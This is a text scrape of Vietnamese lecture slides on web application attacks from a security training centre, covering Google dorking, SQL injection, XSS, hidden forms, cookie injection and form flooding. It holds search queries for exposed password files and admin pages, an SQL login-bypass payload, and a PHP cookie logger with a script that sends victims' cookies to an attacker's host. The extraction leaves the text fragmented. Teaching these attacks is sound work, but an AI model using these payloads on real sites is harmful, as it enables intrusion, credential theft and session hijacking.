Tải bản đầy đủ (.pdf) (38 trang)

Bài giảng Web application attack & defense - Võ Đỗ Thắng

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (580.48 KB, 38 trang )

Web
Application
Attack &
Defense

Trình bày : Võ Đỗ Thắng
Giám đốc Trung tâm an ninh mạng
Athena.


A. Web app, Webserver: Các khái
niệm và mô hình
B. Giới thiệu một số phương pháp
attack cơ bản nhắm vào web
app/webserver
C. Phát hiện và phòng chống
ATHENA


A. Web app, Webserver:
Các khái niệm và mô hình
Web

application là gì?

Web

app hay web service là một phần
mềm ứng dụng chạy phía server (thuộc
layer 7 trong mô hình OSI)


User

có thể truy xuất web app bằng các
trình duyệt (web browser, telnet) hay
bằng các giao thức HTTP(s)

ATHENA

2001(c)WhiteHat Security, Inc.


A.




ATHENA

Web app, Webserver: Các
và mô hình
Một số trình duyệt thông dụng:
IE (internet explorer)
FF( Mozilla Firefox)
Opera
Một số webserver thông dụng
IIS : www.microsoft.com
Apache : www.apache.org
Jrun : www.marcomedia.com
Tomcat jakarta.apache.org
Iplanet webserver

Cold Fusion Webserver
2001(c)WhiteHat Security, Inc.

khái niệm


Mô hình chuẩn Web App
HTTP
request
(cleartext
or SSL)

Web
Client

SQL
Databas
e

Firewall

Web app

Web
Server

Web app
Web app
Web app


HTTP
reply
(HTML,
Javascript,
VBscript,
etc)
ATHENA

•Apache
•IIS
•Netscape
etc…

Plugins:
•Perl
•C/C++
•JSP, etc

DB
DB

Database
connection:
•ADO,
•ODBC,
etc.


FIREWALL


ATHENA

2001(c)WhiteHat Security, Inc.


SSL

ATHENA

2001(c)WhiteHat Security, Inc.


ATHENA

2001(c)WhiteHat Security, Inc.


B.

Giới thiệu một số phương pháp attack cơ bản
nhắm vào web app/webserver

1. Google attack
2. SQL injection
3. Cross site scripting
4. Hidden form vulnerability
5. Cookies injection
6. Flood database/Flood form
7. Local Attack
8. Path disclosure/Parsing exploit

9. Dictionary Traversal
10. Remote include file
11. Secured webserver
ATHENA

2001(c)WhiteHat Security, Inc.


Demo:

Website viện kinh tế thành phố Hồ Chí Minh bị tấn
công, chiếm quyền kiểm soát

ATHENA


Google Attack




ATHENA

Sử dụng google để hack là một trong
những phương pháp phổ biến của hacker
nhằm tìm được những thông tin nhạy
cảm từ victim
Phương pháp Google attack giúp cho
hacker có thể tìm ra thông tin những
victim đã định trước (mục tiêu đã xác

định) hay hack hàng lọat những victim có
lỗi tương tự (mục tiêu chưa xác định)


Google attack (cont)
Một số keyword hay được sử dụng:
1. Directory listing:
Intitle:index.of/admin
2. CGI scanning:
inurl:/iisadmpwd/
inurl://iisadmpwd/achg.htr
inurl://iisadmpwd/aexp.htr
inurl://iisadmpwd/aexp2.htr
inurl://iisadmpwd/aexp2b.htr
3. Port Scanning:
"VNC Desktop" inurl:5800
Inurl:webmin inurl:10000
ATHENA


Google attack (cont)
Tìm link login:
Inurl:/admin/login.asp
Inurl:/administrator/login.asp
Inurl:/admin/admin_login.asp

Tìm thông tin chứa user/password:
"Index of" htpasswd / passwd
filetype:xls username password email
"WS_FTP.LOG"

"config.php"
allinurl: admin mdb
service filetype:pwd (FrontPage)
Inurl:/admin.mdb
Filetype:mdb user password
ATHENA


SQL injection






ATHENA

Lỗi này thường xảy ra trên các ứng dụng
web có csdl được quản lý bằng các hệ cơ
sở dữ liệu như SQL Server, Mysql,
Oracle, DB2, Sysbase, MsAccess…
Mỗi hệ quản trị csdl có một số điểm
giống và khác nhau giữa các phương
pháp injection
Trong bài báo cáo này xin trình bày
phương pháp injection trong hệ quản trị
csdl phổ biến nhất thế giới: MSSQL
2001(c)WhiteHat Security, Inc.



Các dạng tấn công SQL injection
 SQL bypass:
 Login.htm

action="ExecLogin.asp" method="post">
 Username: name="fUSRNAME">

 Password: name="fPASSWORD">

 <input type="submit">
 </form>
ATHENA

2001(c)WhiteHat Security, Inc.


SQL Bypass



















execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("USR_NAME")
End If
Set objRS = Nothing
%>

ATHENA

2001(c)WhiteHat Security, Inc.


SQL bypass

- Khi hacker nhập vào:



‘ or ‘’=‘
 Câu truy vấn sẽ trở thành
 SELECT * FROM T_USERS WHERE USR_NAME =''
OR ''='' and USR_PASSWORD= '' OR ''='‘
- Câu truy vấn
 Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của
T_USERS và đoạn mã tiếp theo xử lí
 Người dùng đăng nhập bất hợp pháp này như là người dùng
đăng nhập hợp lệ.
 Tuy nhiên thực tế từng trường hợp cụ thể sẽ có các cách
bypass khác nhau, ko có công thức chung.
 (Xem video demo SQL bypass vienkinhte.gov.vn)
ATHENA

2001(c)WhiteHat Security, Inc.


SQL injection (cont)
Ngoài ra còn một số kĩ thuật nâng cao khác sử dụng
SQL injection như:

Union/Convert magic (khai thác dữ liệu)
- Blind SQL injection
- Tạo script Ddos sever
- Sử dụng openrowset
- Store procedure injection, kĩ thuật nâng quyền

user,giới thiệu về kĩ thuật runtime patching
- Upload backdoor
(phần này khá dài,demo hòan tòan bằng Video)
(xem video sql_ij_basic, sql_ij_admin)


ATHENA

2001(c)WhiteHat Security, Inc.


Cross site scripting
Cross site scripting là gì?
- Cross site scripting viết tắt là XSS (để tránh nhầm
lẫn với CSS) là một dạng tấn công hướng về phía
User (Client) mà ko tác động trực tiếp đến
webserver
- Hacker thường lợi dụng XSS để đánh cắp cookie
của user, phising etc…
- Tuy nhiên vẫn có trường hợp ngọai lệ Hacker vẫn
có thể xử dụng XSS để get root server (xem
Iplanet server attack)

ATHENA

2001(c)WhiteHat Security, Inc.


Cross site scripting
- Phương pháp test:

+ inject đọan script
+ <script>alert(‘test’)</script> vào bất cứ
đâu cho phép user input data (Url,
Feedback, Form, Search, cookie…etc)
+ Nếu thấy xuất hiện ra một pop-up ‘test’
thì có nghĩa là website đã bị dính XSS
+ Đọan code trên không phải là cách test
chung, nhiều trường hợp phải view
source hoặc mã hóa để vượt qua filter.
ATHENA


Cross site scripting
- Phương pháp tấn công:
+ Attacker viết một đọan mã để get cookie của
victim như sau:
$cookie = $_GET['cookie'];
$log = fopen("cookies11.txt","a");
//cookies11.txt //chmod 777
fwrite($log, $cookie ."\n");
fclose($log);
?>
ATHENA
2001(c)WhiteHat Security, Inc.


Cross site scripting
- Sau đó up lên 1 hosting của hacker
+ Vd: />- Kế tiếp hacker sẽ post đọan code sau vào forum (or URL )

của 1 website với hình thức như sau
+ <script>
window.location = ' +
document.cookie;
</script>
- Sau đó bằng vài phương pháp phising, sau khi victim đã
đăng nhập và đọc bài viết (hoặc click vào URL) của hacker đã
gửi, lập tức cookie của victim đã đc ghi vào file cookie11.txt
của hacker.Công việc còn lại của Hacker khá đơn giản:fake
cookie và truy xuất tài nguyên của website với quyền của user
vừa chiếm được

ATHENA

2001(c)WhiteHat Security, Inc.


Hidden form vulnerability
Hidden form vulnerability là gì?
Là một dạng truyền biến của webapplication, coder
không muốn cho user can thiệp trong quá trình
truyền biến
- Hidden form có dạng:
type="hidden"
value="13.95"
name="jac_minReqTotal"> value="1"
name="jac_minReqUnits">

type="hidden"
value="0"
name="jac_minReqWeight">
- Vậy điều gì xảy ra nếu như các biến trong hidden
form không được check một cách chặt chẽ khi user
submit? Hacker sẽ2001(c)WhiteHat
lợi dụng
điều này như thế nào?!?
ATHENA
Security, Inc.
(xem video hiden_form_demo)


Cookies injection
Cookie là gì?
- Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ
giữa web site và browser của người dùng. cookies được lưu trữ
dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng
được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin
về người dùng đã ghé thăm site và những vùng mà họ đi qua
trong site.
- Những thông tin này có thể bao gồm tên/định danh người
dùng, mật khẩu, sở thích, thói quen…Trong một số trường
hợp, cookie có thể hiểu là 1 token để Authentication người
dùng.
- Ngòai cách tấn công bằng XSS để lấy cookie của victim,
Hacker còn có thể dùng một kĩ thuật gọi là “cookie
injection” để chiếm lấy phiên làm việc của victim nếu như
thông qua một vài chỗ yếu trong cách xác thực của
cookies

ATHENA
2001(c)WhiteHat Security, Inc.
(Xem video cookie_injection)


5. Flood database/Flood form
Flood database/ Flood form là gì:
- Đây thực ra không phải là một phương pháp hacking,
có thể tạm xếp vào là một trong những hình thức DoS,
nhưng đây là hình thức DoS vào database.
- Cách thức tấn công: Hacker tạo ra những script để post
một cách tự động vào forum, create member, search
form, feedback đến một lúc nào đó thì webserver của
victim cạn kiệt bandwitch hay sự nở ra liên tục của DB
khiến dung lượng ổ cứng của victim bị full và crash cả
hệ thống
- Xem Flood blog_yahoo_demo
ATHENA

2001(c)WhiteHat Security, Inc.


×